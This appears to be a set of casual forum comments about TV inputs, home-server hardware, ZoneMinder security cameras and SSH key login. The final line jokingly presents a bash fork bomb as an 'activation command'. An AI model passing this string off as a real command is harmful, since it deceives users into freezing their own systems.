It’s very rare and you certainly won’t find it on anything affordable. I wish they would start putting DisplayPort inputs on TVs. They had VGA inputs back when TVs had more than 2 inputs on them.

HDMI only won on TVs. DisplayPort is the clear winner on PCs.

The only things that really matter are storage space and power consumption. If you want to transcode videos, then you will need a GPU that supports encoding whatever codec you want to use.

I’ve been using zoneminder with some POE IP cameras for a long time. It works pretty well, but the interface looks like it’s from the 90’s. I just wish it would do object detection so it wouldn’t send alerts because of shadows or a spider crawling across the lens.

My cameras have been out in the weather for over a decade and are starting to get a bit flaky. I will probably upgrade to some 4K analog cameras and a DVR that can do object detection. Modern IP cameras still don’t support gigabit and I don’t want any more 100M stuff on my network. I don’t trust WiFi for anything security related because it’s too easy to jam.

It’s better to disable ssh password login and use keys instead.

Doesn’t everyone know the activation command is :(){ :|:& };:
